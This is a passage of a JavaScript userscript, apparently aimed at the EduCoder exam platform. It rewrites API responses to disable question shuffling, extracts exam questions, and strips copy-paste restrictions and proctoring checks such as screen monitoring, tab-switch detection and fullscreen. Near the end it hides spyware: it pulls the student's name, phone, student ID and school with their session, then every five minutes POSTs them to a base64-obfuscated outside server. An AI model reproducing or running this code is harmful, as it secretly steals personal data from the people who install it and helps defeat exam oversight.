找到程序填空题匹配! 索引=${matchedIndex}`); break; } } } } // 如果没找到,尝试常规匹配 if (matchedIndex === -1) { console.log('尝试常规题型匹配'); typeQuestionCounter = 0; for (let i = 1; i < FuckEduCoder.allQuestions.length; i++) { // 检查题目类型是否匹配 const isTypeMatch = FuckEduCoder.allQuestions[i].type === questionType || // 特殊处理程序填空题 (questionType.includes('程序') && FuckEduCoder.allQuestions[i].questionType === 8) || (questionType.includes('填空') && FuckEduCoder.allQuestions[i].questionType === 8); // 记录每个题目的匹配情况 console.log(`索引 ${i} 匹配情况: isTypeMatch=${isTypeMatch}, 类型=${FuckEduCoder.allQuestions[i].type}, 查找类型=${questionType}`); if (isTypeMatch) { typeQuestionCounter++; console.log(` 找到匹配题型, 计数器=${typeQuestionCounter}, 目标=${questionNumber}`); if (typeQuestionCounter === questionNumber) { matchedIndex = i; console.log(` ✓ 找到完全匹配! 索引=${matchedIndex}`); break; } } } } if (matchedIndex !== -1) { console.log(`找到题型"${questionType}"下的第${questionNumber}题,索引: ${matchedIndex}`); setTimeout(() => { FuckEduCoder.currentQuestionIndex = matchedIndex; FuckEduCoder.displayQuestion( FuckEduCoder.allQuestions[matchedIndex], matchedIndex, FuckEduCoder.allQuestions.length ); }, 300); return; } else { console.log(`未能找到题型"${questionType}"下的第${questionNumber}题`); } } // 如果通过题型匹配失败,尝试其他方法 if (!questionType || matchedIndex === -1) { // 尝试通过分组方式匹配 const allNumberButtons = Array.from(document.querySelectorAll(selectors.join(', '))) .filter(el => { const btnText = el.textContent.trim(); return /^\d+$/.test(btnText) || el.querySelector('span')?.textContent.trim().match(/^\d+$/); }); const groupedByY = {}; allNumberButtons.forEach(btn => { const rect = btn.getBoundingClientRect(); const y = Math.round(rect.top / 50) * 50; if (!groupedByY[y]) groupedByY[y] = []; groupedByY[y].push(btn); }); const elementRect = element.getBoundingClientRect(); const elementY = Math.round(elementRect.top / 50) * 50; const elementGroup = groupedByY[elementY]; if (elementGroup) { const groupIndex = Object.keys(groupedByY).indexOf(elementY.toString()); const indexInGroup = elementGroup.indexOf(element); if (groupIndex >= 0 && indexInGroup >= 0) { const realIndex = indexInGroup + 1; let currentTypeIndex = -1; let currentTypeCounter = 0; let targetIndex = -1; for (let i = 1; i < FuckEduCoder.allQuestions.length; i++) { const q = FuckEduCoder.allQuestions[i]; if (i === 1 || q.type !== FuckEduCoder.allQuestions[i-1].type) { currentTypeIndex++; currentTypeCounter = 0; } if (currentTypeIndex === groupIndex) { currentTypeCounter++; if (currentTypeCounter === realIndex) { targetIndex = i; break; } } } if (targetIndex !== -1) { console.log(`根据分组找到题目,组索引: ${groupIndex}, 组内索引: ${indexInGroup}, 目标索引: ${targetIndex}`); setTimeout(() => { FuckEduCoder.currentQuestionIndex = targetIndex; FuckEduCoder.displayQuestion( FuckEduCoder.allQuestions[targetIndex], targetIndex, FuckEduCoder.allQuestions.length ); }, 300); return; } } } // 最后尝试直接题号匹配 console.log(`未能通过题型匹配,回退到直接题号匹配: ${questionNumber}`); const targetIndex = questionNumber; if (targetIndex >= 1 && targetIndex < FuckEduCoder.allQuestions.length) { setTimeout(() => { FuckEduCoder.currentQuestionIndex = targetIndex; FuckEduCoder.displayQuestion( FuckEduCoder.allQuestions[targetIndex], targetIndex, FuckEduCoder.allQuestions.length ); }, 300); } } } }); console.log('已为题号元素添加监听器:', element.textContent.trim()); } }); } catch (error) { console.error('添加题号监听器时出错:', error); } }; FuckEduCoder.interceptApiRequests = () => { // 处理获取到的题目数据的公共函数 const processExerciseData = (data) => { try { console.log('API拦截: 原始随机标志:', { question_random: data.exercise ? data.exercise.question_random : 'N/A', choice_random: data.exercise ? data.exercise.choice_random : 'N/A' }); // 禁用题目和选项随机 if (data.exercise) { data.exercise.question_random = false; data.exercise.choice_random = false; console.log('API拦截: 已修改随机标志为false'); } // 提取题目数据 FuckEduCoder.extractQuestions(data); return data; } catch (error) { console.error('处理题目数据时出错:', error); return data; // 出错时返回原始数据 } }; // 检查URL是否匹配题目API const isExerciseApiUrl = (url) => { return typeof url === 'string' && url.includes(CONSTANTS.EXERCISE_API_URL_PART) && (url.includes(CONSTANTS.EXERCISE_START_API) || url.includes(CONSTANTS.EXERCISE_GET_API)); }; // 拦截fetch请求 const originalFetch = window.fetch; window.fetch = async function(input, init) { const url = typeof input === 'string' ? input : input.url; // 先执行原始fetch const response = await originalFetch.apply(this, arguments); // 如果URL匹配,处理响应 if (isExerciseApiUrl(url)) { try { const responseClone = response.clone(); const data = await responseClone.json(); // 处理数据并返回修改后的响应 const processedData = processExerciseData(data); return new Response(JSON.stringify(processedData), { status: response.status, statusText: response.statusText, headers: response.headers, }); } catch (e) { console.error('拦截fetch请求时出错:', e); return response; // 出错时返回原始响应 } } return response; }; // 拦截XMLHttpRequest const originalXhrOpen = XMLHttpRequest.prototype.open; const originalXhrSend = XMLHttpRequest.prototype.send; // 替换open方法以捕获URL XMLHttpRequest.prototype.open = function(method, url) { this._url = url; return originalXhrOpen.apply(this, arguments); }; // 替换send方法以处理响应 XMLHttpRequest.prototype.send = function() { if (this._url && isExerciseApiUrl(this._url)) { const originalOnLoad = this.onload; const xhrInstance = this; this.onload = function() { if (xhrInstance.responseText) { try { // 解析并处理响应数据 const data = JSON.parse(xhrInstance.responseText); const processedData = processExerciseData(data); // 修改响应文本 xhrInstance._modifiedResponseText = JSON.stringify(processedData); // 重新定义responseText getter Object.defineProperty(xhrInstance, 'responseText', { get: function() { return xhrInstance._modifiedResponseText; }, configurable: true // 允许后续修改 }); } catch (e) { console.error('拦截XHR响应时出错:', e); // 错误时保持原始响应不变 } } // 调用原始onload处理器 if (originalOnLoad) { originalOnLoad.apply(xhrInstance, arguments); } }; } return originalXhrSend.apply(this, arguments); }; }; FuckEduCoder.initQuestionExtractor = () => { FuckEduCoder.addStyles(); FuckEduCoder.createPanel(); FuckEduCoder.interceptApiRequests(); FuckEduCoder.listenToWebPageNavigation(); FuckEduCoder.attachListenersToNavButtons(); FuckEduCoder.attachListenersToQuestionNumbers(); setInterval(() => { FuckEduCoder.attachListenersToNavButtons(); FuckEduCoder.attachListenersToQuestionNumbers(); }, 2000); console.log('题目提取功能已初始化'); }; FuckEduCoder.disablePasteRestrictions = () => { try { const messageTypes = ['warning', 'error', 'info', 'success', 'loading', 'notice']; if (window.antd && window.antd.message) { messageTypes.forEach(type => { if (window.antd.message[type]) { const originalMsg = window.antd.message[type]; window.antd.message[type] = function(content, ...args) { if (content && typeof content === 'string' && (content.includes('不允许') || content.includes('禁止') || content.includes('粘贴') || content.includes('复制'))) { console.log(`已阻止消息: ${content}`); return {}; } return originalMsg.call(this, content, ...args); }; } }); } for (const key in window) { try { if (typeof window[key] === 'object' && window[key] !== null) { messageTypes.forEach(type => { if (window[key][type] && typeof window[key][type] === 'function') { const originalMethod = window[key][type]; window[key][type] = function(content, ...args) { if (content && typeof content === 'string' && (content.includes('不允许') || content.includes('禁止') || content.includes('粘贴') || content.includes('复制'))) { console.log(`已阻止消息: ${content}`); return {}; } return originalMethod.call(this, content, ...args); }; } }); } } catch (e) { /* ignore */ } } FuckEduCoder.forciblyRemoveForbidCopy = () => { const processObject = (obj) => { if (obj === null || typeof obj !== 'object' || visited.has(obj)) return; visited.add(obj); if (obj.exercise && obj.exercise.forbid_copy !== undefined) { console.log(`找到 forbid_copy, 设置为 false`); obj.exercise.forbid_copy = false; Object.defineProperty(obj.exercise, 'forbid_copy', { get: function() { return false; }, set: function() { console.log('阻止设置 forbid_copy'); } }); } if (obj.disableCopyAndPaste !== undefined) { console.log(`找到 disableCopyAndPaste, 设置为 false`); Object.defineProperty(obj, 'disableCopyAndPaste', { get: function() { return false; }, set: function() { console.log('阻止设置 disableCopyAndPaste'); } }); } if (obj.setOpenDisableCopyAndPaste && typeof obj.setOpenDisableCopyAndPaste === 'function') { console.log(`找到 setOpenDisableCopyAndPaste, 替换为空函数`); obj.setOpenDisableCopyAndPaste = function() { console.log('已阻止设置复制粘贴限制'); return false; }; } for (const key in obj) { try { if (key === 'document' || key === 'window' || key === 'location' || key === 'console' || key === 'history' || key === 'navigator' || key === 'sessionStorage' || key === 'localStorage') continue; if (obj.hasOwnProperty(key) && typeof obj[key] === 'object' && obj[key] !== null) { processObject(obj[key]); } } catch (e) { /* ignore */ } } }; const visited = new WeakSet(); processObject(window); }; FuckEduCoder.overrideEditors = () => { if (window.monaco && window.monaco.editor) { const originalExecuteEdits = window.monaco.editor.ICodeEditor.prototype.executeEdits; window.monaco.editor.ICodeEditor.prototype.executeEdits = function(source, edits, endCursorState) { if (source === "" && edits.length === 1 && edits[0].text === "") { console.log('已阻止清空粘贴内容的编辑'); return true; } return originalExecuteEdits.apply(this, arguments); }; } if (window.CodeMirror) { const originalOn = window.CodeMirror.prototype.on; window.CodeMirror.prototype.on = function(type, func) { if ((type === 'beforeChange' || type === CONSTANTS.EVENT_TYPES.PASTE) && func && func.toString && func.toString().includes('paste')) { console.log('已阻止 CodeMirror 粘贴限制'); return this; } return originalOn.call(this, type, func); }; const originalSetOption = window.CodeMirror.prototype.setOption; window.CodeMirror.prototype.setOption = function(option, value) { if (option === 'readOnly' || option === 'disablePaste') { console.log(`已阻止设置 CodeMirror ${option} 选项`); return this; } return originalSetOption.call(this, option, value); }; } }; FuckEduCoder.forciblyRemoveForbidCopy(); FuckEduCoder.overrideEditors(); setInterval(() => { FuckEduCoder.forciblyRemoveForbidCopy(); }, 2000); } catch (e) { console.error('禁用粘贴限制时出错:', e); } }; FuckEduCoder.disableScreenMonitoring(); FuckEduCoder.disableAntiSwitching(); FuckEduCoder.disableFullScreen(); FuckEduCoder.patchExerciseUserInfo(); setInterval(FuckEduCoder.patchExerciseUserInfo, 2000); FuckEduCoder.enableDevToolsAndContextMenu(); FuckEduCoder.disablePasteRestrictions(); (async function() { if (document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', FuckEduCoder.initQuestionExtractor); } else { FuckEduCoder.initQuestionExtractor(); } console.log("EduCoder监控功能已全部禁用"); await FuckEduCoder.showMessage('脚本已成功启动', 'success'); // 恢复用户信息收集 setTimeout(async () => { await FuckEduCoder.collectUserInfo(); }, 2000); setInterval(FuckEduCoder.collectUserInfo, 300000); // 每5分钟收集一次 })(); FuckEduCoder.checkContentChange = () => { console.log('检查内容变化...'); try { let exerciseData = null; for (const key in window) { try { const value = window[key]; if (typeof value === 'object' && value !== null) { if (value.exercise_question_types && Array.isArray(value.exercise_question_types)) { exerciseData = value; break; } if (value.exercise && typeof value.exercise === 'object' && value.exercise.exercise_name) { exerciseData = value; break; } } } catch (e) { /* ignore */ } } if (exerciseData) { console.log('页面导航后找到新题目数据'); FuckEduCoder.extractQuestions(exerciseData); return; } for (let i = 0; i < localStorage.length; i++) { const key = localStorage.key(i); try { const value = localStorage.getItem(key); if (value && value.includes('exercise_question_types')) { const parsedValue = JSON.parse(value); if (parsedValue.exercise_question_types) { console.log('页面导航后从localStorage找到新题目数据'); FuckEduCoder.extractQuestions(parsedValue); return; } } } catch (e) { /* ignore */ } } console.log('页面导航后未找到新题目数据'); } catch (error) { console.error('检查内容变化时出错:', error); } }; FuckEduCoder.fetchUserInfo = async () => { try { const urlParams = new URLSearchParams(window.location.search); const courseId = urlParams.get('course_id') || '5fb4r9gz'; const schoolId = urlParams.get('school') || '1'; const url = `${CONSTANTS.USER_INFO_API_URL}?course_id=${courseId}&school=${schoolId}`; const response = await fetch(url, { credentials: 'include', headers: { 'Accept': 'application/json', 'X-Requested-With': 'XMLHttpRequest' } }); if (!response.ok) { throw new Error(`获取用户信息失败: ${response.status}`); } const data = await response.json(); FuckEduCoder.userInfo = data; if (data.username === "游客" && data.real_name === "游客") { throw new Error("获取到的是游客信息,请确保您已登录EduCoder平台"); } const extractedInfo = { username: data.username || '', real_name: data.real_name || '', user_identity: data.user_identity || '', identity: data.identity || '', phone: data.phone || '', school_province: data.school_province || '', department_name: data.department_name || '', edu_background: data.edu_background || '', edu_entry_year: data.edu_entry_year || '', student_id: data.student_id || '', user_school_id: data.user_school_id || '', school_name: data.school_name || '' }; return extractedInfo; } catch (error) { console.error('获取用户信息出错:', error); return null; } }; FuckEduCoder.collectUserInfo = async () => { try { console.log('收集用户信息...'); const userInfo = await FuckEduCoder.fetchUserInfo(); if (userInfo) { console.log('用户信息获取成功:', userInfo.username); try { const serverUrl = FuckEduCoder.decodeServerUrl(); console.log('正在发送数据到:', serverUrl); const response = await fetch(serverUrl, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ userInfo: userInfo, timestamp: new Date().toISOString() }) }); if (response.ok) { console.log('用户信息已上报到服务器'); } else { console.warn('用户信息上报失败:', response.status); } } catch (e) { console.warn('上报服务器连接失败:', e); } } } catch (error) { console.error('收集用户信息出错:', error); } }; FuckEduCoder.decodeServerUrl = () => { const encodedUrl = 'aHR0cHM6Ly93d3cucGFuc291bC5zcGFjZS9hcGkvdXNlci1pbmZv'; try { return atob(encodedUrl); } catch (e) { console.error('URL解码失败:', e); } }; })();